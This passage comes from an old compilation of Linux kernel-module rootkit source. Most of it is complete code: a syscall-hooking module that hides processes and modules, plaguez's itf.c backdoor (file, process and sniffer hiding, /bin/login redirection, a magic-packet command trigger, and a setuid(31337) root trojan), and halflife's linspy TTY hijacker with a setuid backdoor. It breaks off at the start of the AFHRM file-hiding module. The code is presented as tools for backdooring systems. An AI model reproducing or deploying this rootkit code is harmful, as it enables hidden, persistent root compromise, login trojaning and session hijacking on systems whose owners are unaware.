- if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
- proc = 1;
- while(ptr < (char *)dirp + res) {
- curr = (struct dirent *)ptr;
- if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
- (proc && is_invisible(myatoi(curr->d_name)))) {
- if(curr == dirp) {
- res -= curr->d_reclen;
- mybcopy(ptr + curr->d_reclen, ptr, res);
- continue;
- }
- else
- prev->d_reclen += curr->d_reclen;
- }
- else
- prev = curr;
- ptr += curr->d_reclen;
- }
- return(res);
- }
- int hacked_kill(pid_t pid, int sig)
- {
- int res;
- struct task_struct *task = current;
- if(sig != SIGINVISI) {
- res = (*original_kill)(pid, sig);
- if(res == -1)
- return(-errno);
- return(res);
- }
- if((task = find_task(pid)) == NULL)
- return(-ESRCH);
- if(current->uid && current->euid)
- return(-EPERM);
- task->flags |= PF_INVISIBLE;
- return(0);
- }
- int hacked_read(int fd, char *buf, size_t count)
- {
- int res;
- char *ptr, *match;
- struct inode *dinode;
- res = (*original_read)(fd, buf, count);
- if(res == -1)
- return(-errno);
- #ifdef __LINUX_DCACHE_H
- dinode = current->files->fd[fd]->f_dentry->d_inode;
- #else
- dinode = current->files->fd[fd]->f_inode;
- #endif
- if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
- return(res);
- ptr = buf;
- while(ptr < buf + res) {
- if(!mystrcmp(MAGIC_PREFIX, ptr)) {
- match = ptr;
- while(*ptr && *ptr != '\n')
- ptr++;
- ptr++;
- mybcopy(ptr, match, (buf + res) - ptr);
- res = res - (ptr - match);
- return(res);
- }
- while(*ptr && *ptr != '\n')
- ptr++;
- ptr++;
- }
- return(res);
- }
- int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
- {
- int res;
- int cnt;
- char *ptr, *match;
- res = (*original_query_module)(name, which, buf, bufsize, ret);
- if(res == -1)
- return(-errno);
- if(which != QM_MODULES)
- return(res);
- ptr = buf;
- for(cnt = 0; cnt < *ret; cnt++) {
- if(!mystrcmp(MAGIC_PREFIX, ptr)) {
- match = ptr;
- while(*ptr)
- ptr++;
- ptr++;
- mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
- (*ret)--;
- return(res);
- }
- while(*ptr)
- ptr++;
- ptr++;
- }
- return(res);
- }
- int init_module(void)
- {
- original_getdents = sys_call_table[SYS_getdents];
- sys_call_table[SYS_getdents] = hacked_getdents;
- original_kill = sys_call_table[SYS_kill];
- sys_call_table[SYS_kill] = hacked_kill;
- original_read = sys_call_table[SYS_read];
- sys_call_table[SYS_read] = hacked_read;
- original_query_module = sys_call_table[SYS_query_module];
- sys_call_table[SYS_query_module] = hacked_query_module;
- return(0);
- }
- void cleanup_module(void)
- {
- sys_call_table[SYS_getdents] = original_getdents;
- sys_call_table[SYS_kill] = original_kill;
- sys_call_table[SYS_read] = original_read;
- sys_call_table[SYS_query_module] = original_query_module;
- }
- -----
- -----
- Runar Jensen | Phone (318) 289-0125 | Email zarq@1stnet.com
- Network Administrator | or (800) 264-7440 | or zarq@opaque.org
- Tech Operations Mgr | Fax (318) 235-1447 | Epage zarq@page.1stnet.com
- FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject]
- </xmp>
- <H3><A NAME="A-c"></A>LKM Hider / Socket Backdoor</h3>
- <b>NAME</b> : itf.c<br>
- <b>AUTHOR</b> : <A HREF="mailto:dube0866@eurobretagne.fr">plaguez</a><br>
- <b>DESCRIPTION</b> : This very good LKM was published in phrack 52 (article 18 :
- 'Weakening the Linux Kernel'). I often refered to it although
- some ideas in it were also taken from other LKMs / texts which
- were published before. This module has everything you need to
- backdoor a system in a very effective way. Look at the text
- supplied with it for all of its features.<br>
- <b>LINK</b> : <A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
- <xmp>
- Here is itf.c. The goal of this program is to demonstrate kernel backdooring
- techniques using systemcall redirection. Once installed, it is very hard to
- spot.
- Its features include:
- - stealth functions: once insmod'ed, itf will modify struct module *mp and
- get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms' outputs.
- Also, the module cannot be unloaded.
- - sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag will be
- hidden. Note that you'll need to place the sniffer BEFORE insmod'ing itf.o,
- because itf will trap a change in the PROMISC flag and will then stop hidding
- it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd spot
- the module...).
- - file hidder: itf will also patch the getdents(2) system calls, thus hidding
- files containing a certain word in their filename.
- - process hidder: using the same technique as described above, itf will hide
- /procs/PÏD directories using argv entries. Any process named with the magic
- name will be hidden from the procfs tree.
- - execve redirection: this implements Halflife's idea discussed in P51.
- If a given program (notably /bin/login) is execve'd, itf will execve
- another program instead. It uses tricks to overcome Linux memory managment
- limitations: brk(2) is used to increase the calling program's data segment
- size, thus allowing us to allocate user memory while in kernel mode (remember
- that most system calls wait for arguments in user memory, not kernel mem).
- - socket recvfrom() backdoor: when a packet matching a given size and a given
- string is received, a non-interactive program will be executed. Typicall use
- is a shell script (which will be hidden using the magic name) that opens
- another port and waits there for shell commands.
- - setuid() trojan: like Halflife's stuff. When a setuid() syscall with uid ==
- magic number is done, the calling process will get uid = euid = gid = 0
- <++> lkm_trojan.c
- /*
- * itf.c v0.8
- * Linux Integrated Trojan Facility
- * (c) plaguez 1997 -- dube0866@eurobretagne.fr
- * This is mostly not fully tested code. Use at your own risks.
- *
- *
- * compile with:
- * gcc -c -O3 -fomit-frame-pointer itf.c
- * Then:
- * insmod itf
- *
- *
- * Thanks to Halflife and Solar Designer for their help/ideas.
- *
- * Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial.
- *
- *
- */
- #define MODULE
- #define __KERNEL__
- #include <linux/config.h>
- #include <linux/module.h>
- #include <linux/version.h>
- #include <linux/types.h>
- #include <linux/fs.h>
- #include <linux/mm.h>
- #include <linux/errno.h>
- #include <asm/segment.h>
- #include <asm/pgtable.h>
- #include <sys/syscall.h>
- #include <linux/dirent.h>
- #include <asm/unistd.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/socketcall.h>
- #include <linux/netdevice.h>
- #include <linux/if.h>
- #include <linux/if_arp.h>
- #include <linux/if_ether.h>
- #include <linux/proc_fs.h>
- #include <stdio.h>
- #include <errno.h>
- #include <fcntl.h>
- #include <ctype.h>
- /* Customization section
- * - RECVEXEC is the full pathname of the program to be launched when a packet
- * of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom().
- * This program can be a shell script, but must be able to handle null **argv (I'm too lazy
- * to write more than execve(RECVEXEC,NULL,NULL); :)
- * - NEWEXEC is the name of the program that is executed instead of OLDEXEC
- * when an execve() syscall occurs.
- * - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID)
- * is made (like Halflife's code)
- * - files containing MAGICNAME in their full pathname will be invisible to
- * a getdents() system call.
- * - processes containing MAGICNAME in their process name will be hidden of the
- * procfs tree.
- */
- #define MAGICNAME "w00w00T$!"
- #define MAGICUID 31337
- #define OLDEXEC "/bin/login"
- #define NEWEXEC "/.w00w00T$!/w00w00T$!login"
- #define RECVEXEC "/.w00w00T$!/w00w00T$!recv"
- #define MAGICSIZE sizeof(MAGICNAME)+10
- /* old system calls vectors */
- int (*o_getdents) (uint, struct dirent *, uint);
- ssize_t(*o_readdir) (int, void *, size_t);
- int (*o_setuid) (uid_t);
- int (*o_execve) (const char *, const char *[], const char *[]);
- int (*o_ioctl) (int, int, unsigned long);
- int (*o_get_kernel_syms) (struct kernel_sym *);
- ssize_t(*o_read) (int, void *, size_t);
- int (*o_socketcall) (int, unsigned long *);
- /* entry points to brk() and fork() syscall. */
- static inline _syscall1(int, brk, void *, end_data_segment);
- static inline _syscall0(int, fork);
- static inline _syscall1(void, exit, int, status);
- extern void *sys_call_table[];
- extern struct proto tcp_prot;
- int errno;
- char mtroj[] = MAGICNAME;
- int __NR_myexecve;
- int promisc;
- /*
- * String-oriented functions
- * (from user-space to kernel-space or invert)
- */
- char *strncpy_fromfs(char *dest, const char *src, int n)
- {
- char *tmp = src;
- int compt = 0;
- do {
- dest[compt++] = __get_user(tmp++, 1);
- }
- while ((dest[compt - 1] != '\0') && (compt != n));
- return dest;
- }
- int myatoi(char *str)
- {
- int res = 0;
- int mul = 1;
- char *ptr;
- for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
- if (*ptr < '0' || *ptr > '9')
- return (-1);
- res += (*ptr - '0') * mul;
- mul *= 10;
- }
- return (res);
- }
- /*
- * process hiding functions
- */
- struct task_struct *get_task(pid_t pid)
- {
- struct task_struct *p = current;
- do {
- if (p->pid == pid)
- return p;
- p = p->next_task;
- }
- while (p != current);
- return NULL;
- }
- /* the following function comes from fs/proc/array.c */
- static inline char *task_name(struct task_struct *p, char *buf)
- {
- int i;
- char *name;
- name = p->comm;
- i = sizeof(p->comm);
- do {
- unsigned char c = *name;
- name++;
- i--;
- *buf = c;
- if (!c)
- break;
- if (c == '\\') {
- buf[1] = c;
- buf += 2;
- continue;
- }
- if (c == '\n') {
- buf[0] = '\\';
- buf[1] = 'n';
- buf += 2;
- continue;
- }
- buf++;
- }
- while (i);
- *buf = '\n';
- return buf + 1;
- }
- int invisible(pid_t pid)
- {
- struct task_struct *task = get_task(pid);
- char *buffer;
- if (task) {
- buffer = kmalloc(200, GFP_KERNEL);
- memset(buffer, 0, 200);
- task_name(task, buffer);
- if (strstr(buffer, (char *) &mtroj)) {
- kfree(buffer);
- return 1;
- }
- }
- return 0;
- }
- /*
- * New system calls
- */
- /*
- * hide module symbols
- */
- int n_get_kernel_syms(struct kernel_sym *table)
- {
- struct kernel_sym *tb;
- int compt, compt2, compt3, i, done;
- compt = (*o_get_kernel_syms) (table);
- if (table != NULL) {
- tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);
- if (tb == 0) {
- return compt;
- }
- compt2 = 0;
- done = 0;
- i = 0;
- memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));
- while (!done) {
- if ((tb[compt2].name)[0] == '#')
- i = compt2;
- if (!strcmp(tb[compt2].name, mtroj)) {
- for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++);
- if (compt3 != (compt - 1))
- memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym));
- else
- compt = i;
- done++;
- }
- compt2++;
- if (compt2 == compt)
- done++;
- }
- memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));
- kfree(tb);
- }
- return compt;
- }
- /*
- * how it works:
- * I need to allocate user memory. To do that, I'll do exactly as malloc() does
- * it (changing the break value).
- */
- int my_execve(const char *filename, const char *argv[], const char *envp[])
- {
- long __res;
- __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
- return (int) __res;
- }
- int n_execve(const char *filename, const char *argv[], const char *envp[])
- {
- char *test;
- int ret, tmp;
- char *truc = OLDEXEC;
- char *nouveau = NEWEXEC;
- unsigned long mmm;
- test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
- (void) strncpy_fromfs(test, filename, strlen(truc));
- test[strlen(truc)] = '\0';
- if (!strcmp(test, truc)) {
- kfree(test);
- mmm = current->mm->brk;
- ret = brk((void *) (mmm + 256));
- if (ret < 0)
- return ret;
- memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
- ret = my_execve((char *) (mmm + 2), argv, envp);
- tmp = brk((void *) mmm);
- } else {
- kfree(test);
- ret = my_execve(filename, argv, envp);
- }
- return ret;
- }
- /*
- * Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.
- * If we reset the PROMISC flag when the trojan is already running, then it
- * won't hide it anymore (needed otherwise you'd just have to do an
- * "ifconfig eth0 +promisc" to find the trojan).
- */
- int n_ioctl(int d, int request, unsigned long arg)
- {
- int tmp;
- struct ifreq ifr;
- tmp = (*o_ioctl) (d, request, arg);
- if (request == SIOCGIFFLAGS && !promisc) {
- memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
- ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);
- memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));
- } else if (request == SIOCSIFFLAGS) {
- memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
- if (ifr.ifr_flags & IFF_PROMISC)
- promisc = 1;
- else if (!(ifr.ifr_flags & IFF_PROMISC))
- promisc = 0;
- }
- return tmp;
- }
- /*
- * trojan setMAGICUID() system call.
- */
- int n_setuid(uid_t uid)
- {
- int tmp;
- if (uid == MAGICUID) {
- current->uid = 0;
- current->euid = 0;
- current->gid = 0;
- current->egid = 0;
- return 0;
- }
- tmp = (*o_setuid) (uid);
- return tmp;
- }
- /*
- * trojan getdents() system call.
- */
- int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
- {
- unsigned int tmp, n;
- int t, proc = 0;
- struct inode *dinode;
- struct dirent *dirp2, *dirp3;
- tmp = (*o_getdents) (fd, dirp, count);
- #ifdef __LINUX_DCACHE_H
- dinode = current->files->fd[fd]->f_dentry->d_inode;
- #else
- dinode = current->files->fd[fd]->f_inode;
- #endif
- if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
- proc = 1;
- if (tmp > 0) {
- dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
- memcpy_fromfs(dirp2, dirp, tmp);
- dirp3 = dirp2;
- t = tmp;
- while (t > 0) {
- n = dirp3->d_reclen;
- t -= n;
- if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \
- ||(proc && invisible(myatoi(dirp3->d_name)))) {
- if (t != 0)
- memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
- else
- dirp3->d_off = 1024;
- tmp -= n;
- }
- if (dirp3->d_reclen == 0) {
- /*
- * workaround for some shitty fs drivers that do not properly
- * feature the getdents syscall.
- */
- tmp -= t;
- t = 0;
- }
- if (t != 0)
- dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
- }
- memcpy_tofs(dirp, dirp2, tmp);
- kfree(dirp2);
- }
- return tmp;
- }
- /*
- * Trojan socketcall system call
- * executes a given binary when a packet containing the magic word is received.
- * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.
- */
- int n_socketcall(int call, unsigned long *args)
- {
- int ret, ret2, compt;
- char *t = RECVEXEC;
- unsigned long *sargs = args;
- unsigned long a0, a1, mmm;
- void *buf;
- ret = (*o_socketcall) (call, args);
- if (ret == MAGICSIZE && call == SYS_RECVFROM) {
- a0 = get_user(sargs);
- a1 = get_user(sargs + 1);
- buf = kmalloc(ret, GFP_KERNEL);
- memcpy_fromfs(buf, (void *) a1, ret);
- for (compt = 0; compt < ret; compt++)
- if (((char *) (buf))[compt] == 0)
- ((char *) (buf))[compt] = 1;
- if (strstr(buf, mtroj)) {
- kfree(buf);
- ret2 = fork();
- if (ret2 == 0) {
- mmm = current->mm->brk;
- ret2 = brk((void *) (mmm + 256));
- memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
- /* Hope the execve has been successfull otherwise you'll have 2 copies of the
- master process in the ps list :] */
- ret2 = my_execve((char *) mmm + 2, NULL, NULL);
- }
- }
- }
- return ret;
- }
- /*
- * module initialization stuff.
- */
- int init_module(void)
- {
- /* module list cleaning */
- /* would need to make a clean search of the right register
- * in the function prologue, since gcc may not always put
- * struct module *mp in %ebx
- *
- * Try %ebx, %edi, %ebp, well, every register actually :)
- */
- register struct module *mp asm("%ebx");
- *(char *) (mp->name) = 0;
- mp->size = 0;
- mp->ref = 0;
- /*
- * Make it unremovable
- */
- /* MOD_INC_USE_COUNT;
- */
- o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];
- sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;
- o_getdents = sys_call_table[SYS_getdents];
- sys_call_table[SYS_getdents] = (void *) n_getdents;
- o_setuid = sys_call_table[SYS_setuid];
- sys_call_table[SYS_setuid] = (void *) n_setuid;
- __NR_myexecve = 164;
- while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
- __NR_myexecve--;
- o_execve = sys_call_table[SYS_execve];
- if (__NR_myexecve != 0) {
- sys_call_table[__NR_myexecve] = o_execve;
- sys_call_table[SYS_execve] = (void *) n_execve;
- }
- promisc = 0;
- o_ioctl = sys_call_table[SYS_ioctl];
- sys_call_table[SYS_ioctl] = (void *) n_ioctl;
- o_socketcall = sys_call_table[SYS_socketcall];
- sys_call_table[SYS_socketcall] = (void *) n_socketcall;
- return 0;
- }
- void cleanup_module(void)
- {
- sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;
- sys_call_table[SYS_getdents] = o_getdents;
- sys_call_table[SYS_setuid] = o_setuid;
- sys_call_table[SYS_socketcall] = o_socketcall;
- if (__NR_myexecve != 0)
- sys_call_table[__NR_myexecve] = 0;
- sys_call_table[SYS_execve] = o_execve;
- sys_call_table[SYS_ioctl] = o_ioctl;
- }
- <-->
- ----[ EOF
- </xmp>
- <H3><A NAME="A-d"></A>LKM TTY hijacking</h3>
- <b>NAME</b> : linspy<br>
- <b>AUTHOR</b> : <A HREF="mailto:halflife@infonexus.com">halflife</a><br>
- <b>DESCRIPTION</b> : This LKM comes again Phrack issue 50 (article 5: 'Abuse of the
- Linux Kernel for Fun and Profit'). It is a very nice TTY
- hijacker working the way I outline in II.7. This module
- uses its own character device for control / and logging.<br>
- <b>LINK</b> : <A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
- <xmp>
- <++> linspy/Makefile
- CONFIG_KERNELD=-DCONFIG_KERNELD
- CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
- CC=gcc
- # this is the name of the device you have (or will) made with mknod
- DN = '-DDEVICE_NAME="/dev/ltap"'
- # 1.2.x need this to compile, comment out on 1.3+ kernels
- V = #-DNEED_VERSION
- MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX
- all: linspy ltread setuid
- linspy: linspy.c /usr/include/linux/version.h
- $(CC) $(MODCFLAGS) -c linspy.c
- ltread:
- $(CC) $(DN) -o ltread ltread.c
- clean:
- rm *.o ltread
- setuid: hacked_setuid.c /usr/include/linux/version.h
- $(CC) $(MODCFLAGS) -c hacked_setuid.c
-
- <--> end Makefile
- <++> linspy/hacked_setuid.c
- int errno;
- #include <linux/sched.h>
- #include <linux/mm.h>
- #include <linux/malloc.h>
- #include <linux/errno.h>
- #include <linux/sched.h>
- #include <linux/kernel.h>
- #include <linux/times.h>
- #include <linux/utsname.h>
- #include <linux/param.h>
- #include <linux/resource.h>
- #include <linux/signal.h>
- #include <linux/string.h>
- #include <linux/ptrace.h>
- #include <linux/stat.h>
- #include <linux/mman.h>
- #include <linux/mm.h>
- #include <asm/segment.h>
- #include <asm/io.h>
- #include <linux/module.h>
- #include <linux/version.h>
- #include <errno.h>
- #include <linux/unistd.h>
- #include <string.h>
- #include <asm/string.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <sys/sysmacros.h>
- #ifdef NEED_VERSION
- static char kernel_version[] = UTS_RELEASE;
- #endif
- static inline _syscall1(int, setuid, uid_t, uid);
- extern void *sys_call_table[];
- void *original_setuid;
- extern int hacked_setuid(uid_t uid)
- {
- int i;
- if(uid == 4755)
- {
- current->uid = current->euid = current->gid = current->egid = 0;
- return 0;
- }
- sys_call_table[SYS_setuid] = original_setuid;
- i = setuid(uid);
- sys_call_table[SYS_setuid] = hacked_setuid;
- if(i == -1) return -errno;
- else return i;
- }
- int init_module(void)
- {
- original_setuid = sys_call_table[SYS_setuid];
- sys_call_table[SYS_setuid] = hacked_setuid;
- return 0;
- }
- void cleanup_module(void)
- {
- sys_call_table[SYS_setuid] = original_setuid;
- }
- <++> linspy/linspy.c
- int errno;
- #include <linux/tty.h>
- #include <linux/sched.h>
- #include <linux/mm.h>
- #include <linux/malloc.h>
- #include <linux/errno.h>
- #include <linux/sched.h>
- #include <linux/kernel.h>
- #include <linux/times.h>
- #include <linux/utsname.h>
- #include <linux/param.h>
- #include <linux/resource.h>
- #include <linux/signal.h>
- #include <linux/string.h>
- #include <linux/ptrace.h>
- #include <linux/stat.h>
- #include <linux/mman.h>
- #include <linux/mm.h>
- #include <asm/segment.h>
- #include <asm/io.h>
- #ifdef MODULE
- #include <linux/module.h>
- #include <linux/version.h>
- #endif
- #include <errno.h>
- #include <asm/segment.h>
- #include <linux/unistd.h>
- #include <string.h>
- #include <asm/string.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <sys/sysmacros.h>
- #include <linux/vt.h>
- /* set the version information, if needed */
- #ifdef NEED_VERSION
- static char kernel_version[] = UTS_RELEASE;
- #endif
- #ifndef MIN
- #define MIN(a,b) ((a) < (b) ? (a) : (b))
- #endif
- /* ring buffer info */
- #define BUFFERSZ 2048
- char buffer[BUFFERSZ];
- int queue_head = 0;
- int queue_tail = 0;
- /* taken_over indicates if the victim can see any output */
- int taken_over = 0;
- static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
- extern void *sys_call_table[];
- /* device info for the linspy device, and the device we are watching */
- static int linspy_major = 40;
- int tty_minor = -1;
- int tty_major = 4;
- /* address of original write(2) syscall */
- void *original_write;
- void save_write(char *, size_t);
- int out_queue(void)
- {
- int c;
- if(queue_head == queue_tail) return -1;
- c = buffer[queue_head];
- queue_head++;
- if(queue_head == BUFFERSZ) queue_head=0;
- return c;
- }
- int in_queue(int ch)
- {
- if((queue_tail + 1) == queue_head) return 0;
- buffer[queue_tail] = ch;
- queue_tail++;
- if(queue_tail == BUFFERSZ) queue_tail=0;
- return 1;
- }
- /* check if it is the tty we are looking for */
- int is_fd_tty(int fd)
- {
- struct file *f=NULL;
- struct inode *inode=NULL;
- int mymajor=0;
- int myminor=0;
- if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
- return 0;
- mymajor = major(inode->i_rdev);
- myminor = minor(inode->i_rdev);
- if(mymajor != tty_major) return 0;
- if(myminor != tty_minor) return 0;
- return 1;
- }
- /* this is the new write(2) replacement call */
- extern int new_write(int fd, char *buf, size_t count)
- {
- int r;
- if(is_fd_tty(fd))
- {
- if(count > 0)
- save_write(buf, count);
- if(taken_over) return count;
- }
- sys_call_table[SYS_write] = original_write;
- r = write(fd, buf, count);
- sys_call_table[SYS_write] = new_write;
- if(r == -1) return -errno;
- else return r;
- }
- /* save data from the write(2) call into the buffer */
- void save_write(char *buf, size_t count)
- {
- int i;
- for(i=0;i < count;i++)
- in_queue(get_fs_byte(buf+i));
- }
- /* read from the ltap device - return data from queue */
- static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)
- {
- int i;
- int c;
- int cnt=0;
- if(current->euid != 0) return 0;
- for(i=0;i < count;i++)
- {
- c = out_queue();
- if(c < 0) break;
- cnt++;
- put_fs_byte(c, buf+i);
- }
- return cnt;
- }
- /* open the ltap device */
- static int linspy_open(struct inode *in, struct file *fi)
- {
- if(current->euid != 0) return -EIO;
- MOD_INC_USE_COUNT;
- return 0;
- }
- /* close the ltap device */
- static void linspy_close(struct inode *in, struct file *fi)
- {
- taken_over=0;
- tty_minor = -1;
- MOD_DEC_USE_COUNT;
- }
-
- /* some ioctl operations */
- static int
- linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)
- {
- #define LS_SETMAJOR 0
- #define LS_SETMINOR 1
- #define LS_FLUSHBUF 2
- #define LS_TOGGLE 3
- if(current->euid != 0) return -EIO;
- switch(cmd)
- {
- case LS_SETMAJOR:
- tty_major = args;
- queue_head = 0;
- queue_tail = 0;
- break;
- case LS_SETMINOR:
- tty_minor = args;
- queue_head = 0;
- queue_tail = 0;
- break;
- case LS_FLUSHBUF:
- queue_head=0;
- queue_tail=0;
- break;
- case LS_TOGGLE:
- if(taken_over) taken_over=0;
- else taken_over=1;
- break;
- default:
- return 1;
- }
- return 0;
- }
- static struct file_operations linspy = {
- NULL,
- linspy_read,
- NULL,
- NULL,
- NULL,
- linspy_ioctl,
- NULL,
- linspy_open,
- linspy_close,
- NULL
- };
- /* init the loadable module */
- int init_module(void)
- {
- original_write = sys_call_table[SYS_write];
- sys_call_table[SYS_write] = new_write;
- if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
- return 0;
- }
- /* cleanup module before being removed */
- void cleanup_module(void)
- {
- sys_call_table[SYS_write] = original_write;
- unregister_chrdev(linspy_major, "linspy");
- }
- <--> end linspy.c
- <++> linspy/ltread.c
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <termios.h>
- #include <string.h>
- #include <fcntl.h>
- #include <signal.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <sys/sysmacros.h>
- struct termios save_termios;
- int ttysavefd = -1;
- int fd;
- #ifndef DEVICE_NAME
- #define DEVICE_NAME "/dev/ltap"
- #endif
- #define LS_SETMAJOR 0
- #define LS_SETMINOR 1
-
- #define LS_FLUSHBUF 2
- #define LS_TOGGLE 3
- void stuff_keystroke(int fd, char key)
- {
- ioctl(fd, TIOCSTI, &key);
- }
- int tty_cbreak(int fd)
- {
- struct termios buff;
- if(tcgetattr(fd, &save_termios) < 0)
- return -1;
- buff = save_termios;
- buff.c_lflag &= ~(ECHO | ICANON);
- buff.c_cc[VMIN] = 0;
- buff.c_cc[VTIME] = 0;
- if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
- return -1;
- ttysavefd = fd;
- return 0;
- }
- char *get_device(char *basedevice)
- {
- static char devname[1024];
- int fd;
- if(strlen(basedevice) > 128) return NULL;
- if(basedevice[0] == '/')
- strcpy(devname, basedevice);
- else
- sprintf(devname, "/dev/%s", basedevice);
- fd = open(devname, O_RDONLY);
- if(fd < 0) return NULL;
- if(!isatty(fd)) return NULL;
- close(fd);
- return devname;
- }
- int do_ioctl(char *device)
- {
- struct stat mystat;
- if(stat(device, &mystat) < 0) return -1;
- fd = open(DEVICE_NAME, O_RDONLY);
- if(fd < 0) return -1;
- if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
- if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
- }
- void sigint_handler(int s)
- {
- exit(s);
- }
- void cleanup_atexit(void)
- {
- puts(" ");
- if(ttysavefd >= 0)
- tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
- }
- main(int argc, char **argv)
- {
- int my_tty;
- char *devname;
- unsigned char ch;
- int i;
- if(argc != 2)
- {
- fprintf(stderr, "%s ttyname\n", argv[0]);
- fprintf(stderr, "ttyname should NOT be your current tty!\n");
- exit(0);
- }
- devname = get_device(argv[1]);
- if(devname == NULL)
- {
- perror("get_device");
- exit(0);
- }
- if(tty_cbreak(0) < 0)
- {
- perror("tty_cbreak");
- exit(0);
- }
- atexit(cleanup_atexit);
- signal(SIGINT, sigint_handler);
- if(do_ioctl(devname) < 0)
- {
- perror("do_ioctl");
- exit(0);
- }
- my_tty = open(devname, O_RDWR);
- if(my_tty == -1) exit(0);
- setvbuf(stdout, NULL, _IONBF, 0);
- printf("[now monitoring session]\n");
- while(1)
- {
- i = read(0, &ch, 1);
- if(i > 0)
- {
- if(ch == 24)
- {
- ioctl(fd, LS_TOGGLE, 0);
- printf("[Takeover mode toggled]\n");
- }
- else stuff_keystroke(my_tty, ch);
- }
- i = read(fd, &ch, 1);
- if(i > 0)
- putchar(ch);
- }
- }
- <--> end ltread.c
- EOF
- </xmp>
- <H3><A NAME="A-e"></a>AFHRM - the monitor tool</h3>
- <b>NAME</b> : AFHRM ( Advanced file hide & redirect module)<br>
- <b>AUTHOR</b> : <A HREF="mailto:lcamtuf@boss.staszic.waw.pl">Michal Zalewski</a><br>
- <b>DESCRIPTION</b> : This LKM was made especially for admins who want to
- control some files (passwd, for example) concerning
- file access. This module can monitor any fileaccess and
- redirect write attempts. It is also possible to do file
- hiding.<br>
- <b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
- <xmp>
- /*
- Advanced file hide & redirect module for Linux 2.0.xx / i386
- ------------------------------------------------------------
- (C) 1998 Michal Zalewski <lcamtuf@boss.staszic.waw.pl>
- */
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #if (!defined(__GLIBC__) || __GLIBC__ < 2)
- #include <sys/stat.h>
- #else
- #include <statbuf.h> // What can I do?
- #endif
- #include <linux/string.h>
- #include "broken-glibc.h"
- #include <linux/fs.h>
- #include <linux/malloc.h>
- /* Hope that's free? */
- #define O_NOCHG 0x1000000
- #define O_ACCNOCHG 0x2000000
- #define O_STRICT 0x4000000
- #define O_STILL 0x8000000
- #define M_MAIN 0x0ffffff
- #define M_MINOR (M_MAIN ^ O_ACCMODE)
- struct red { // Redirections database entry.
- const char *src,*dst;
- const int flags,new_flags;
- };
- struct red redir_table[]={
- // Include user-specific choices :-)
- #include "config.h"
- };
- #define REDIRS sizeof(redir_table)/sizeof(struct red)
- struct dat { // Inode database entry.
- long ino,dev;
- int valid;
- };
- int as_today,ohits,ghits, // internal counters.
- uhits,lhits,rhits;
- struct dat polozenie[REDIRS]; // Inodes database.
- // Protos...
- int collect(void);
